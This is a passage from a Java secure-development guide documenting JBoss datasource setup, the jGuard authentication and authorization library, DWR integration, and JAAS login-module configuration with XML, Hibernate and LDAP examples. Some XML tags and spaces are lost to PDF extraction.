<jndi-name>MySqlDS</jndi-name>

<connection-url>jdbc:mysql://localhost:3306/database</connection-url><driver-class>com.mysql.jdbc.Driver</driver-class>

Page 37: Java secure development   part 3

526 | P a g e

<user-name>username</user-name><password>secret</password>

<connection-property name="autoReconnect">true</connection-property>

<!-- Typemapping for JBoss 4.0 --><metadata>

<type-mapping>mySQL</type-mapping></metadata>

</local-tx-datasource></datasources>

MySQL server on localhost with connection over Named Pipe

<datasources><local-tx-datasource>

<jndi-name>MySQLDS</jndi-name><connection-url>jdbc:mysql://./database</connection-url><driver-class>com.mysql.jdbc.Driver</driver-class>

<user-name>username</user-name><password>secret</password>

<connection-property name="socketFactory">com.mysql.jdbc.NamedPipeSocketFactory</connection-property>

<!-- Typemapping for JBoss 4.0 --><metadata>

<type-mapping>mySQL</type-mapping></metadata>

</local-tx-datasource></datasources>

jGuard

jGuard is a library that provides EASY security (authentication and authorization) for Java webapplications.

It is built over the stable and mature JAAS framework, which is part of the JAVA J2SE api.

Page 38: Java secure development   part 3

527 | P a g e

jGuard is very flexible and allows several different ways to configure those mechanisms forauthentication and authorization, i.e., in a relational database, XML files, or LDAP service. Seedocumentation for more details.

jBosso jGuard 0.80 has been successfully tested with jBoss 4.0.3

o Be sure that 'includeOldConfig' in your jguard xml configuration is set to "true".o Edit in your jboss JBOSS_HOME/server/ZZZ/conf/login-config.xmlo Add this in the policy markup:

<application-policy name="jGuardExample"><authentication><login-module code="org.jboss.security.auth.spi.ProxyLoginModule" flag="required" /></authentication></application-policy>You will have some errors in the log because UsersRolesLoginModule in not configured but it has noconsequences on your applications.

o jGuard 0.70 alpha 2 has been succesfully tested on jBoss 4.03 with SUN's JDK 1.5.0_04.the jGuard-jvm-x.xx.jar should be placed inthe {JBOSS_HOME}/server/default/lib directory. jGuardExample.war archive has been placed inthe {JBOSS_HOME}/server/default/deploy directory.

o jGuard 0.70 alpha 2 has been succesfully tested on jBoss 3.2.7 with SUN's JDK 1.5.0_04.the jGuard-jvm-x.xx.jar should be placed inthe {JBOSS_HOME}/server/default/lib directory. jGuardExample.war archive has been placed inthe {JBOSS_HOME}/server/default/deploy directory. in the jBoss 3.x.x series,application server isconfigured to used by default the UnifiedClassLoader which is not j2ee compliant.jGuard requiresthat you configure JBoss to use classloaders in a j2ee compliant manner: open the file called jboss-service.xml located in the ${JBOSS_HOME}/server/default/deploy/jbossweb-tomcat50.sar/META-INF/ directory. locate the attribute called UseJBossWebLoader and change its valuefrom true to false.

o For a successful deployment of jGuardExample.war version 0.65.5 on JBoss 3.2.7, it is necessaryto set the login module to "org.jboss.security.auth.spi.ProxyLoginModule" (with all optionsreported in web.xml) as application policy for "jGuardExample".This setting overrides thedefault application policy, that uses the "org.jboss.security.auth.spi.UsersRolesLoginModule"

Page 39: Java secure development   part 3

528 | P a g e

DWRDWR, or Direct Web Remoting, is a Java open source library that helps developers write web sites that

include Ajax technology. It allows code in a web browser to use Java functions running on a web server as

if those functions were within the browser.

It consists of two main parts:

Code to allow JavaScript to retrieve data from a servlet-based web server using Ajax principles.

A JavaScript library that makes it easier for the web site developer to dynamically update the web

page with the retrieved data.

DWR takes a novel approach to Ajax by dynamically generating JavaScript code based on Java

classes.[1] Thus the web developer can use Java code from JavaScript as if it were local to the web

browser; whereas in reality the Java code runs in the web server and has full access to web server

resources. For security reasons the web developer must configure exactly which Java classes are safe to

export (which is often called web.xml or dwr.xml).

This method of remoting functions from Java to JavaScript gives DWR users a feel much like

conventional RPC mechanisms like RMI or SOAP, with the benefit that it runs over the web without

requiring web browser plug-ins.

DWR does not consider the web browser / web server protocol to be important, and prefers to ensure

that the programmer's interface is natural. The greatest challenge to this is to marry the asynchronous

nature of Ajax with the synchronous nature of normal Java method calls.

In the asynchronous model, result data is only available some time after the initial call is made. DWR

solves this problem by allowing the web developer to specify a function to be called when the data is

returned using an extra method parameter.This extra method is called CallBack Method.

Here is a sample Callback:

MJavaClassOnJs.getListProducts(selectedCategory,{callback:function(returnedList){

dwr.util.addOptions(myComboId,returnedList,"productId","productName")}

})

The callback is that function inside the Json object passed as an additional parameter to the remoted

function.

Page 40: Java secure development   part 3

529 | P a g e

With version 2.0 DWR supports Reverse Ajax[1] where Java code running on the server can deliberately

send dedicated JavaScript to a browser.

Joe Walker started the DWR project in 2004.

securing DWR with jGuardLast modified by XWikiGuest on 2010/10/29 06:33

Comments (0) | Attachments (0) | History | Information

jguard 1.0.0 support securization of webapps using * DWR 1.x* .we plan to support also *DWR 2.x * hopefully in the 1.1.0 release.

install DWR in the webappin a classic way,to install DWR, you have to insert in your web.xml file, a DWR servlet :

dwr-invokerDWR Servletuk.ltd.getahead.dwr.DWRServletdebugtruedwr-invoker/dwr/*but we will configure it in a more advanced way at the bottom of this document.

DWR.xmlDWR permits to access directly tobeans hosted on the server in the webapp. central configurationfile is DWR.xml. for example, if you want to permit access to the beannet.sf.jguard.example.dwr.Dummy, you have to configure it in DWR.xml like this:

DWR1Permission : a dedicated Permissionjguard 1.0.0 ships a Permission dedicated to DWR 1.x. this permission has got a name and someparaemters, like any subclass of java.security.BasicPermisison:

o nameused to put on the permission functional meaning

o parameterso first parameter: class of the Creator used to instantiate the related protected beans

Page 41: Java secure development   part 3

530 | P a g e

example: uk.ltd.getahead.dwr.create.NewCreator

o

o second parameter: the class of the bean to protectexample: net.sf.jguard.example.dwr.Dummy

o

o third parameter : the method to protectexample: getHello

you can use it either in database or in jGuardPrincipaslPermissions.xml file.

.......dummynet.sf.jguard.jee.extras.dwr1.DWR1Permissionuk.ltd.getahead.dwr.create.NewCreatornet.sf.jguard.example.dwr.DummygetHello.......

DWR1AccessControlnow, we need to link access to Dummy bean via DWR with jGuard. to do that, you have to insert onemore parameter of the DWR servlet configured previously like this:dwr-invokerDWR Servletuk.ltd.getahead.dwr.DWRServletdebugtrueuk.ltd.getahead.dwr.AccessControlnet.sf.jguard.jee.extras.dwr1.DWR1AccessControldwr-invoker/dwr/*

what's about jGuard and DWR interactions?you have to notice that jGuard is linked with the DWR1AccessControl. it is used to delegate to jGuardauthorization check before the user access via a javascript instruction to the java Bean declared inthe DWR.xml file.

but you have to configure jGuard to authenticate the user. to do that, accessFilter has to be used.so, AccessFilter and its mapped URIs(like all struts actions *.do) will be used for Authentication, andauthorization checks with your traditional web framework(for example Struts).

DWR will be used for ajax interactions, and will delegate authorization check to jGuard.

Page 42: Java secure development   part 3

531 | P a g e

so,in an application hosting Struts and DWR, authentication will be done in a URI ending by .do, andauthorization checks will be done in uri ending by .do and containing the DWR pattern (see servletmappings configured above).

Chapter 3. security architectureTable of Contents

3.1. securing an application3.1.1. java security architecture

3.2. Which jGuard security scopes?3.2.1. jGuard and jee users3.2.2. security scopes

3.3. debugging3.4. configuration files

3.4.1. configuration files used in every context (standalone and web applications)

3.1. securing an applicationsecuring an application should be done with anAccess Control Model. widely used access control models aredescribed in a dedicated chapter.

To apply an access control model in a java application, you have these choices:

use java security infrastructure (through jAAS)

use security implementation by the application server if you're in a jee context

reinvent the wheel

3.1.1. java security architecture3.1.1.1. java security rootsoverall Java security stands on the java.lang.SecurityManager implementation in place on theJVM, and on thejava.security file located in in${java.home}/lib/security/.

Page 43: Java secure development   part 3

532 | P a g e

3.1.1.2. overall architecture

3.1.1.2.1.

One application need to have an Authentication part and an Authorization part initialized. It implies for theauthentication part, a javax.security.auth.Configuration instance defined, and for the Authorization parta java.security.Policyinstance (or an isolated part of an instance). jGuard provides a single point of access with itsPolicyEnforcementPoint.

Notein a JEE environement, Authentication and Authorization parts are set by the ContextListener class from jGuard.

Specific technology parts are minimized. So, integrating a new technology in jGuard implies implementinga Technology anchor, an AuthorizationBindings implementation, and eventually anAuthenticationBindings(not alwaysneeded if authentication is done via another technology anchor and scopes).

jGuard provides also some management APIs for the Authentication Part (AuthenticationManager), and for theAuthorization part (AuthorizationManager).

Page 44: Java secure development   part 3

533 | P a g e

3.1.1.2.2. one application to bring them all

jGuard permits for one application, to use different technology anchors simultaneously. It implies that they share thesame Configuration and Policy (i.e Authentication and Authorization parts). You can see on the above diagram, that alltechnology anchors provided by jGuard, uses each one a PolicyEnforcementPoint instance.this class acts as a SinglePoint of Access.

Cautionbe aware that tosecure access of your application, you need to configure technology anchors to force all users to passthrough them to access to protected resources. For example, in a webapp, you need to configure theweb.xml file toenforce user to access to a technology anchor before reach the desired resource.

3.2. Which jGuard security scopes?3.2.1. jGuard and jee usersjGuard envisions 3 types of "users" in a J2EE environment:

administrator

webapp developer

webapp user

3.2.2. security scopesjGuard provides two Security scopes, on authentication and authorization. these scopes affectjGuard javax.security.auth.login.Configuration and java.security.policy implementations.

Page 45: Java secure development   part 3

534 | P a g e

3.2.2.1. local security scopethis scope permits to have isolate security per classloader; i.e is mainly dedicated to jee applications.

'local' authentication provides a good security level. It allows protection of the webapp resources against webappusers. Each webapp user will be authenticated, and access control will be provided according to his roles. Thisauthentication configuration will not protect webapp developers against webapp developers of others webapps, oradministrators.

The authentication configuration is easier, because everything should be configured in the web.xml. There is no needto configure things on the JVM side. Security is present after the first webapp which uses jGuard is loaded by theapplication server. This security level is reliable for these use cases:

The webapp is used to test jGuard

There is only one webapp on the application server

There are multiple webapps on the same application servers, and there are 'friendly' each others

One 'friendly' webapp is loaded firstly

3.2.2.2. jvm security scope'advanced' configuration allows for a more secure environment, but is more difficult to configure: in jee environment,You must install two jars: one for the webapp, and one dedicated to the JVM-side.some bootclasspath tricks areneeded too.

This configuration allows for protection of webapp resources against users like the 'usual' configuration; i.e to protectwebapp developers against others webapps, and to protect administrator against any webapp developers. Theadministrator of the machine should also restrict the java rights to protect against the application severadministrator. This configuration is highly secure, and should be used by hosting companies.

This is acascading security delegation model:

webapp users are controlled by webapps

webapps are isolated from others webapps (others webapps cannot make tedamages)

webapps are controlled by the application server administrator which configure the JVM security

The application server administrator is controlled by the operating system administrator which assignrestricted rights to java

the operating system administrator security relies on BIOS security, which relies on the physical machinesecurity.

To have this very secured configuration, you must enable theSecurityManager.

3.3. debuggingfor security reason, jGuard prevent by default, the application to throw to the end-user a java.lang.Throwable (i.ea java.lang.Exception or a java.lang.Error) instance, and its included stack trace: it permits to restrain sensitiveinformation included in the stack trace, like the libraries you use, name of classes and methods and so on....

But, in the development stage, it can be useful to inhibit this default mechanism, for a quicker diagnostic when aproblem is present. it can be done by including the parameters of the technology anchor (like the AccessFilter inservlet-related anchor, or the AccessListener for the JSF-based one),a propagateThrowable option to true.

Page 46: Java secure development   part 3

535 | P a g e

3.4. configuration files3.4.1. configuration files used in every context (standalone andweb applications)3.4.1.1. jGuardFilter.xmlgoals of this configuration file is to define:

resources where the user is dispatched depending on the Access Control check result

authentication schemes used with the specific technology anchor

specific parameters for the CallbackHandler implementation

3.4.1.1.1. authentication schemesAuthentication schemes are defined as the mechanisms used to transmit credentials from the user (browser forwebapps) to the server. These credentials are used on the server to authenticate the user in its backend. They can beconfigured in the authScheme markup.

Caution

to configure your authentication schemes, you DON'T have to configure your application server to use them(especially, you DON'T have to configure the <login-config> markup in the web.xml, and its related <auth-method> and <realm-name> markup). jGuard replace the specific mechanisms used in your applicationserver, to grab credentials and compute them to authenticate the user.

FORM authentication

since its inception, jGuard support the FORM authentication scheme. Credentials are sent from thebrowser to the application server through an HTML form.

some special URIs are involved in this authentication scheme:

logonURI

this URI is used to access to the page which contains the form used to authenticate. This URI isgranted to ALL users.

logonProcessURI

this URI is used to send to the server the credentials to authenticate. This URI is granted to ALLusers.

loginField

HTML field in the HTML authentication form, used to store your login. This special field is trappedby the accessFilter to grab this credential.

passwordField

HTML field in the HTML authentication form, used to store your password. This special field istrapped by the accessFilter to grab this credential.

Example 3.1. how to configure FORM authentication

<authScheme>FORM</authScheme>

Page 47: Java secure development   part 3

536 | P a g e

BASIC authentication

jGuard support BASIC authentication. Some special URIs are involved in this authentication scheme:

logonProcessURI

this URI is used to send to the server the credentials to authenticate. This URI is granted to ALLusers.

Example 3.2. how to configure BASIC authentication

<authScheme>BASIC</authScheme>

Digest Authentication

this authentication scheme is not yet supported.a feature request has been posted on the jGuard bugtracking system hosted on sourceforge.

CLIENT_CERT authentication

jGuard support CLIENT_CERT authentication.

Example 3.3. how to configure CLIENT_CERT authentication

<authScheme>CLIENT_CERT</authScheme>

Note

jGuard use its own mechanisms involved in authentication schemes. But it uses the SSL mechanism provided by theapplication server, in the case of CLIENT-CERT authentication. So, you have to configure yourweb.xml file with thismarkup:

<security-constraint><web-resource-collection><web-resource-name>all the webapp</web-resource-name><description></description><url-pattern>/*</url-pattern></web-resource-collection><user-data-constraint><description>This part requires SSL</description><transport-guarantee>CONFIDENTIAL</transport-guarantee></user-data-constraint>

Page 48: Java secure development   part 3

537 | P a g e

</security-constraint>

3.4.1.1.2. exampleExample 3.4. jGuardFilter.xml example

<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE configuration SYSTEM "jGuardFilter_1.1.0.dtd"><configuration><!-- Index uri of your web application. --><authenticationSucceedURI>/index.jsp</authenticationSucceedURI><!-- Uri when the user authentication failed. --><authenticationFailedURI>/AuthenticationFailed.do</authenticationFailedURI><!-- Uri to access to the authentication form --><logonURI>/Logon.do</logonURI><!-- uri to be authenticated. The action property of the authentication form MUST NOTbe set to j_security_check. --><logonProcessURI>/LogonProcess.do</logonProcessURI><registerURI>/Registration.do</registerURI><registerProcessURI>/RegistrationProcess.do</registerProcessURI><!-- uri to to be unauthenticated --><logoffURI>/Logoff.do</logoffURI><authScheme>FORM</authScheme><loginField>login</loginField><!-- Parameter's name of the form's field which holds the password. All values areaccepted except j_password. --><passwordField>password</passwordField><goToLastAccessDeniedUriOnSuccess>true</goToLastAccessDeniedUriOnSuccess></configuration>

this configuration file specific to a web application is used to define the URI used when to follow jGuard Accesscontrol decisions. The location of this file is specified in theweb.xml, especially in the AccessFilterdeclaration ina configurationLocation parameter.

the AccessDenied URI is not defined in jGuardFilter.xml file, because it is already handled by the underlying protocol;HTTP maps it to the status code 401. To use your customized accessDenied page, maps the error code in the web.xmlfile of your webapp to its path.

3.4.1.2. jGuardAuthentication.xml

goals of this configuration file is to define:

the authentication scope

the AuthenticationManager implementation

the loginmodules involved in the authentication process with their options and JAAS keywords (required,optional, and so on...)

Page 49: Java secure development   part 3

538 | P a g e

3.4.1.3. jGuardAuthorization.xml

goals of this configuration file is to define:

authorization scope

AuthorizationManager implementation

Chapter 4. java authenticationTable of Contents

4.1. Overall Authentication part4.2. AuthenticationManager

4.2.1. description4.2.2. configuration4.2.3. implementations

4.3. JAAS Authentication process

4.3.1. javax.security.auth.login.LoginContext4.3.2. javax.security.auth.callback.CallbackHandler4.3.3. loginModules4.3.4. javax.security.auth.login.Configuration4.3.5. javax.security.auth.Subject4.3.6. java.security.Principal4.3.7. Dynamic role definition

4.4. password encryption4.4.1. principle4.4.2. supported algorithms4.4.3. salted passwords

4.1. Overall Authentication partAuthentication part is composed of the Authentication process, which is involved when user is not authenticated, andAuthenticationManager, which manage users and roles.they both share the same Authentication store.

Figure 4.1. Authentication part in jGuard

Page 50: Java secure development   part 3

539 | P a g e

4.2. AuthenticationManager4.2.1. descriptionAuthenticationManager implementations aims to do Create, Read, Update, Delete (CRUD) operations on users androles of the application. These Users and roles are present in the datasource authentication. This datasource(database, XML and so on..), is also the same one used for the authentication process whichinvolveLoginContext, Configuration and LoginModules.

if the user does not tries to authenticate, jGuard automatically authenticates you as the 'guest' user. it's not a securityissue, but a design choice. but to fulfills your security requirements, you can configure that guest (unauthenticatedusers), hasn't got access to your protected pages. how to do it? => configure the 'guest' role with no permissions. theguest user will only have access to login page and access denied page(access is always grant to these resources).

4.2.2. configurationAuthentication configuration in jGuard, is done via the jGuardAuthentication.xml file.

goals of this configuration file is to:

define the authentication scope

Page 51: Java secure development   part 3

540 | P a g e

define the AuthenticationManager implementation

define the loginmodules involved in the authentication process with their options and JAAS keywords(required, optional, and so on...)

4.2.3. implementations4.2.3.1. XMLAuthenticationManager

4.2.3.1.1. descriptionThis AuthenticationManager implementation permits to persist in a XML file all the auithentication informations ofyour application.

4.2.3.1.2. parameters debug

This optional parameter, when set to true, activate the debug mode (provide more logs to detect easilymisconfiguration).

authenticationXmlFileLocation

a relative path from the webapp, of the jGuardUsersPrincipals.xml file.

4.2.3.1.3. usual configuration in the jGuardConfiguration.xml file

........

<authenticationManager>net.sf.jguard.authentication.XmlAuthenticationManager</authenticationManager>

<authenticationManagerOptions><option><name>authenticationXmlFileLocation</name><value>WEB-INF/conf/jGuard/jGuardUsersPrincipals.xml</value></option></authenticationManagerOptions>........

4.2.3.2. HibernateAuthenticationManagerThe JdbcAuthenticationManager has been replaced by the HibernateAuthenticationManager for a better flexibility. Afurther JPAAuthenticationManager, ORM agnostic AuthenticationManager implementation, can be anothersuitable solution provided in a future release.

4.2.3.2.1. descriptionThis AuthenticationManager implementation permits to persist in a database all the authentication informations ofyour application.HIerbnaetAuthenticationManager needs to use a SessionFactory instance; here are the wayssupported to grab the sessionFactory

Page 52: Java secure development   part 3

541 | P a g e

hibernate.cfg.xml

Hibernate can build and use a sessionFactory by reading an Hibernate.cfg.xml config file present on theclassPath.

4.2.3.2.2. parameters authenticationXmlFileLocation

WEB-INF/conf/jGuard/jGuardUsersPrincipals.xml for example . This parameter permits to import some datawhen your database is empty

4.2.3.2.3. configuration

........

<authenticationManager>net.sf.jguard.ext.authentication.manager.HibernateAuthenticationManager</authenticationManager>

<authenticationManagerOptions><option><name>authenticationXmlFileLocation</name><value>WEB-INF/conf/jGuard/jGuardUsersPrincipals.xml</value></option></authenticationManagerOptions>........

* you have to configure the associated HibernateLoginModule.

4.2.3.2.4. ER DiagramFigure 4.2. authentication ER diagram

Page 53: Java secure development   part 3

542 | P a g e

4.3. JAAS Authentication processAuthentication process is standardized into java through the JAAS api. It involves the LoginContext class, acallbackHandler implementation, a Configuration instance, and some loginModules. jGuard provides

4.3.1. javax.security.auth.login.LoginContextThis class is the main entry point to the Authentication Process. it defines :

which Subject (user) authenticate

through which way (CallbackHandler)

for which application

with which authentication technologies (LoginModules)

in which mechanism (Configuration)

This class provides multiple constructors which permits to build a convenient LoginContext class.Authentication is done during the login method, which return an authenticatedSubject, ora LoginException. when the user quit the application, the logout method should to be called.

in webapps, jGuard provides some high-level classes to reduce your work, and simplify the use of JAAS likethe AccessFilter servlet filter.

4.3.2. javax.security.auth.callback.CallbackHandlerthis class handle the way to grab informations contained into information from a protocol, to fill callbacks (used byloginmodules) to authenticate the user. So, LoginModules can use the same callbacks but with differentCallbackHandler depending on the situation. jGuard provides different callbackHandlerlike JMXCallbackHandler, SwingCallbackHandler ,and HttpServletCallbackHandler.

Page 54: Java secure development   part 3

543 | P a g e

4.3.3. loginModules

4.3.3.1. descriptionafter the user transmits its credentials through the authentication scheme, jGuard should authenticate the user withthem.to authenticate the user, jGuard use its credentials against some security challenges: LoginModules.

loginModules are stackable: you can configure multiple loginModules (in the jGuardConfiguration.xml file),whichwill help you to authenticate a user or not.

each loginModule has got a flag which can be 'REQUIRED','OPTIONAL','REQUISITE' ou 'SUFFICIENT'( JAAS documentation fromSUN™):

REQUIRED

The LoginModule is required to succeed. If it succeeds or fails, authentication still continues to proceeddown the LoginModule list.

REQUISITE

The LoginModule is required to succeed. If it succeeds, authentication continues down the LoginModulelist.If it fails, control immediately returns to the application (authentication does not proceed down theLoginModule list).

SUFFICIENT

The LoginModule is not required to succeed. If it does succeed, control immediately returns to theapplication (authentication does not proceed down the LoginModule list).If it fails, authentication continuesdown the LoginModule list.

OPTIONAL

The LoginModule is not required to succeed. If it succeeds or fails, authentication still continues to proceeddown the LoginModule list.

You should have noticed that the configuration for loginModules involved in validating user identity is very small:configuration already defined in AuthenticationManager are reused to establish connections in loginmodules.so, JdbcLoginmodule uses JdbcAuthenticationManager configuration to establish database connections and so on…

4.3.3.2. jGuard loginModules

4.3.3.2.1. UserLoginModule

This loginModule is an abstract class. its subclasses grab informations in various locations (database,LDAP,Xml and soon...) to authenticate users.

stores are configured into AuthenticationManager implementations and are reused by UserLoginModulesubclasses.So, you don't have to declare stores into UserLoginModule subclasses.

4.3.3.2.2. XMLLoginModule

4.3.3.2.2.1. description

This Loginmodule inherit from UserLoginmodule and use users and roles located in an XML filecalled jGuardUsersPrincipals.xml to authenticate users.

Page 55: Java secure development   part 3

544 | P a g e

4.3.3.2.2.2. parameters

debug

This optional parameter, when set to true, activate the debug mode (provide more logs to detect easilymisconfiguration).

4.3.3.2.2.3. XMLLoginModule declaration

Example 4.1. configuration of XMLLoginModule into a fragment of jGuardAuthentication.xml

to reference XMLLoginModule, you have to declare it into jGuardAuthentication.xml file.

<authentication><loginModules><loginModule><name>net.sf.jguard.ext.authentication.loginmodules.XmlLoginModule</name><flag>REQUIRED</flag><loginModuleOptions><option><name>debug</name><value>false</value></option></loginModuleOptions></loginModule></loginModules></authentication>

4.3.3.2.2.4. jGuardUsersPrincipals.xml example

Example 4.2. jGuardUsersPrincipals.xml example

<?xml version="1.0" encoding="UTF-8" standalone="no"?><authenticationxmlns="http://jguard.sourceforge.net/xsd/jGuardUsersPrincipals_2.0.0.xsd"xmlns:xs="http://www.w3.org/2001/XMLSchema-instance"

xs:schemaLocation="http://jguard.sourceforge.net/xsd/jGuardUsersPrincipals_2.0.0.xsdjGuardUsersPrincipals_1.1.0.xsd"><principals><principal><name>admin</name><class>net.sf.jguard.core.principals.RolePrincipal</class><applicationName>jguard-struts-example</applicationName><organizationRef>myenterpriseId</organizationRef></principal><principal><name>guest</name><class>net.sf.jguard.core.principals.RolePrincipal</class>

Page 56: Java secure development   part 3

545 | P a g e

<applicationName>jguard-struts-example</applicationName><organizationRef>system</organizationRef></principal><principal><name>role3</name><class>net.sf.jguard.core.principals.RolePrincipal</class><applicationName>anotherApplication</applicationName><organizationRef>system</organizationRef></principal></principals><users><user><privateCredentials><credential><id>login</id><value>admin</value></credential><credential><id>password</id><value>admin</value></credential></privateCredentials>

<publicCredentials><credential><id>firstname</id><value>Rick</value></credential><credential><id>lastname</id><value>Dangerous</value></credential><credential><id>location</id><value>Paris</value></credential></publicCredentials>

<principalsRef><principalRef name="admin" applicationName="jguard-struts-example"definition="${subject.publicCredentials.location.contains('Paris')}"active="true"/><principalRef name="role3" applicationName="anotherApplication"/></principalsRef><organizationRef>system</organizationRef></user><user><privateCredentials><credential><id>login</id>

Page 57: Java secure development   part 3

546 | P a g e

<value>guest</value></credential><credential><id>password</id><value>guest</value></credential></privateCredentials><publicCredentials/><principalsRef><principalRef name="guest" applicationName="jguard-struts-example" /></principalsRef><organizationRef>system</organizationRef></user></users><organizations><organizationTemplate><userTemplate><privateRequiredCredentials><credTemplateId>login</credTemplateId><credTemplateId digestNeeded="true">password</credTemplateId></privateRequiredCredentials><publicRequiredCredentials><credTemplateId>firstname</credTemplateId><credTemplateId>lastname</credTemplateId><credTemplateId>location</credTemplateId></publicRequiredCredentials><privateOptionalCredentials><credTemplateId>country</credTemplateId><credTemplateId>religion</credTemplateId></privateOptionalCredentials><publicOptionalCredentials><credTemplateId>hobbies</credTemplateId></publicOptionalCredentials><principalsRef><principalRef name="admin" applicationName="jguard-struts-example"/><principalRef name="role3" applicationName="anotherApplication"/></principalsRef></userTemplate><credentials><credTemplateId>id</credTemplateId></credentials><principalsRef><principalRef name="admin" applicationName="jguard-struts-example"/><principalRef name="role3" applicationName="anotherApplication"/></principalsRef></organizationTemplate><organization><userTemplate><privateRequiredCredentials><credTemplateId>login</credTemplateId>

Page 58: Java secure development   part 3

547 | P a g e

<credTemplateId digestNeeded="true">password</credTemplateId></privateRequiredCredentials><publicRequiredCredentials><credTemplateId>firstname</credTemplateId><credTemplateId>lastname</credTemplateId><credTemplateId>location</credTemplateId></publicRequiredCredentials><privateOptionalCredentials><credTemplateId>country</credTemplateId><credTemplateId>religion</credTemplateId></privateOptionalCredentials><publicOptionalCredentials><credTemplateId>hobbies</credTemplateId></publicOptionalCredentials><principalsRef><principalRef name="admin" applicationName="jguard-struts-example"/><principalRef name="role3" applicationName="anotherApplication"/></principalsRef></userTemplate><credentials><credential><id>id</id><value>system</value></credential><credential><id>creation date</id><value>1965</value></credential></credentials><principalsRef><principalRef applicationName="jguard-struts-example" name="guest"/><principalRef name="admin" applicationName="jguard-struts-example" /></principalsRef></organization></organizations></authentication>

4.3.3.2.3. HibernateLoginModule

4.3.3.2.3.1. description

This loginModule inherit from UserLoginmodule and allows a database-based authentication for your application.

4.3.3.2.3.2. parameters

debug

This optional parameter, when set to true, activate the debug mode (provide more logs to detect easilymisconfiguration).

Page 59: Java secure development   part 3

548 | P a g e

4.3.3.2.3.3. HibernateLoginModule declaration

Example 4.3. configuration of HibernateLoginModule into a fragment of jGuardAuthentication.xml

to reference HibernateLoginModule, you have to declare it into jGuardAuthentication.xml file.

<authentication><loginModule>

<name>net.sf.jguard.ext.authentication.loginmodules.HibernateLoginModule</name><!-- flag :'REQUIRED','OPTIONAL','REQUISITE' or 'SUFFICIENT' --><flag>REQUIRED</flag><loginModuleOptions><option><name>debug</name><value>false</value></option></loginModuleOptions></loginModule>

4.3.3.2.4. JNDILoginModule

4.3.3.2.4.1. description

this UserLoginModule subclass, authenticate users and roles into a JNDI directory like LDAP.

most of the parameters detailed in this page comes from the JNDI Context constants detailed in the related JNDIjavadoc.

this loginmodule does NOT yet retrieve roles from the directory. only authentication against credentials aresupported. roles support will be rpovided in a future release.

4.3.3.2.4.2. connections

connections can be established either through manual configuration, or via application server JNDI lookup. for allparameters, you have to include the prefix ('preauth.' or 'auth.'). these settings apply to directauthentication and pre-authentication modes.

4.3.3.2.4.3. manual configuration

initial context factory

<option><name>preauth.java.naming.factory.initial</name><value>com.sun.jndi.ldap.LdapCtxFactory</value>

</option>

provider url

Page 60: Java secure development   part 3

549 | P a g e

<option><name>preauth.java.naming.provider.url</name><value>ldap://mycompany.com:389</value></option>

authentication mode

you can use none , simple or a SASL mechanism type defined in theRFC 2195.

<option><name>java.naming.security.authentication</name><value>none</value></option>

activate connection pooling

you can sometimes activate the connection pooling of the JNDI service providers. if you use the oneprovided by sun, here is the configuration:

<option><name>preauth.com.sun.jndi.ldap.connect.pool</name><value>true</value></option>

define the preferred number of connections

<option><name>preauth.com.sun.jndi.ldap.connect.pool.prefsize</name><value>5</value></option>

define connection timout

<option><name>preauth.com.sun.jndi.ldap.connect.pool.timeout</name><value>300000</value></option>

this example defines the number of milliseconds (5 minutes in this example) that an idle connection mayremain in the pool without being closed and removed from the pool.

other connection pool settings

other settings can be reached at the JNDI/LDAP Service provider documentation page.

activate the Fast bind connection mode for Active Directory

Page 61: Java secure development   part 3

550 | P a g e

a specific LDAP control can be activated against Active Directory server. more details on it here: Activedirectory LDAP server fast bind mode documentation

<option><name>preauth.fastBindConnection</name><value>true</value></option>

4.3.3.2.4.4. application server JNDI lookup

connections can be retrieved via the application servers JNDI system. to specify which name must be used to grab thecontext, you have to use after the prefix, the jndi name.

<option><name>preauth.jndi</name><value>myDs</value></option>

4.3.3.2.4.5. description

different use cases are possible, depending on how to find the Distinguished Name(DN), which is the path to the userEntry.this DN will be used to :

authenticate the user

grab its associated credentials.

4.3.3.2.4.6. direct authentication (auth mode)

authentication parameters starts with the 'auth.' prefix. the DN is known, directly from the userDN parameter andthe user login. for example,

<option><name>auth.userDN</name><value>dc=com,dc=mycompany,ou=mysection,cn={0}</value></option>

the {0} will be replaced by the login provided by the user.

4.3.3.2.4.7. pre-authentication (preauth mode)

when the user DN cannot be known, a first search should be done to know what is the DN. authentication parametersstarts with the 'preauth.' prefix.

base DN

this parameter defines from which Distinguished Name (path) starts the search.

<option><name>preauth.search.base.dn</name>

Page 62: Java secure development   part 3

551 | P a g e

<value>dc=mycompany,dc=com</value></option>

search filter

this parameter define the LDAP filter used to locate the DN of the user.

<option><name>preauth.search.filter</name><value>(&(samAccountName={0})(!(proxyAddresses=*)))</value></option>

search scope

for object scope, use 0. for one level scope, use 1. for subtree scope, use 2.

<option><name>preauth.searchcontrols.searchscope</name><value>2</value></option>

4.3.3.2.4.8. which connection use to populate the Subject (user)

usually, jGuard reuses the connection used to authenticate the user, to do a lookup on the user entry. sometimes, itcan be useful to grab the informations directly from the LDAP entry found to know the user DN. to do it, you have toinclude this parameter:

<option><name>contextforcommit</name><value>true</value></option>

4.3.3.2.4.9. complete configuration example with preauthin your jGuardAuthentication.xml file:

<loginModule><name>net.sf.jguard.ext.authentication.loginmodules.JNDILoginModule</name><flag>REQUIRED</flag><loginModuleOptions><option><name>preauth.java.naming.factory.initial</name><value>com.sun.jndi.ldap.LdapCtxFactory</value></option><option><name>preauth.java.naming.provider.url</name>

Page 63: Java secure development   part 3

552 | P a g e

<value>ldap://yourcompany.com:389</value></option><option><name>java.naming.security.authentication</name><value>none</value></option><option><name>preauth.searchcontrols.searchscope</name><value>2</value></option><option><name>preauth.search.base.dn</name><value>dc=stuff,dc=com</value></option><option><name>preauth.search.filter</name><value>(&(samAccountName={0})(!(proxyAddresses=*)))</value></option><option><name>auth.java.naming.factory.initial</name><value>com.sun.jndi.ldap.LdapCtxFactory</value></option><option><name>auth.java.naming.provider.url</name><value>ldap://yourcompany.com:389</value></option><option><name>auth.java.naming.security.authentication</name><value>simple</value></option><option><name>contextforcommit</name><value>true</value></option></loginModuleOptions></loginModule>

4.3.3.2.4.10. Direct Authentication configuration example

<loginModule><name>net.sf.jguard.ext.authentication.loginmodules.JNDILoginModule</name><flag>REQUIRED</flag><loginModuleOptions><option><name>preauth.java.naming.factory.initial</name><value>com.sun.jndi.ldap.LdapCtxFactory</value></option><option><name>auth.java.naming.provider.url</name>

Page 64: Java secure development   part 3

553 | P a g e

